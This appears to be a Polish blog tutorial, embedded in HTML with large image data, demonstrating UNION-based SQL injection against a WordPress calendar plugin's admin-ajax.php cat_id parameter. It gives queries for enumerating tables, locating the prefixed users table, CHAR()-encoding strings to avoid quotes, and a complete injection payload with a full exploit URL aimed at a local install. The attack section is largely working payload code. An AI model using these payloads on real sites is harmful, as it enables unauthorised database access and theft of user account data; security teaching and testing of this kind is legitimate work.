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" width="640" /> </div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Skoro potrafimy
już dodać dowolny record do wyświetlanych rezultatów, co stoi na
przeszkodzie aby spróbować pobrać listę tabelek z obecnej schema?
Nic.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Aby pobrać listę
tabelek w MySQL należy wykonać poniższe zapytanie:</div>
<blockquote class="tr_bq">
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SELECT
table_name FROM information_schema.tables;</span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Każda instalacja
wordpressa zawiera tabelkę, której zawartość jest zazwyczaj
najbardziej przydatna potencjalnemu atakującemu – tabelkę z
użytkownikami. Ta nazywa się „users” i zaczyna prefixem.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Aby pobrać jej
pełną nazwę nie znając perfixu – potrzebujemy następującego
zapytania:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SELECT
table_name FROM information_schema.tables WHERE table name LIKE
“%users” LIMIT 1;</span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Oczywiście mamy
nadzieję, że w bazie nie będzie innych tabelek, których nazwa
kończy się na <i><b>users</b></i>. Jeśli jest inaczej – możemy
zmodyfikować zapytanie w sekcji LIMIT lub zmodyfikować o GROUP BY i GROUP_CONCAT(). Teraz musimy pomanipulować
trochę parametrami aby odkryć, która kolumna jest wyświetlana
jako tytuł – po prostu powpisuj jakiś ciąg znaków do kolejnych
parametrów. Oczywiście można zawsze zerknąć do kodu.
Jak pewnie zauważyłeś – jest to 5 kolumna.
</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Oczywiście
ostatniego wspomnianego zapytania nie można zastosować wprost z
powodu użytego stringa – należy więc zmienić go w sekwencję
numerków i pozyskać poprzez <i><b>CHAR()</b></i>.</div>
<blockquote class="tr_bq">
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SELECT
table_name </span>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">FROM
information_schema.tables </span>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">WHERE
table_name LIKE (</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SELECT
CHAR(37, 117, 115, 101, 114, 115)</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">)
LIMIT 1</span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Kompletny SQL
doklejony do URL wyglądać będzie następująco:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">1)
UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1,(SELECT table_name FROM
information_schema.tables WHERE table_name LIKE ( SELECT CHAR(37,
117, 115, 101, 114, 115) ) LIMIT 1),1,1,1,1, CHAR(110, 111, 95, 114,
101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM DUAL;--</span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Pełny adres URL:</div>
<blockquote class="tr_bq">
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_name%20LIKE%20(%20SELECT%20CHAR(37,%20117,%20115,%20101,%20114,%20115)%20)%20LIMIT%201),1,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20--%20&widget=0</div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Poniżej zrzut
ekranu z wynikiem zapytania:</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<img align="bottom" border="0" height="208" name="Picture 2" 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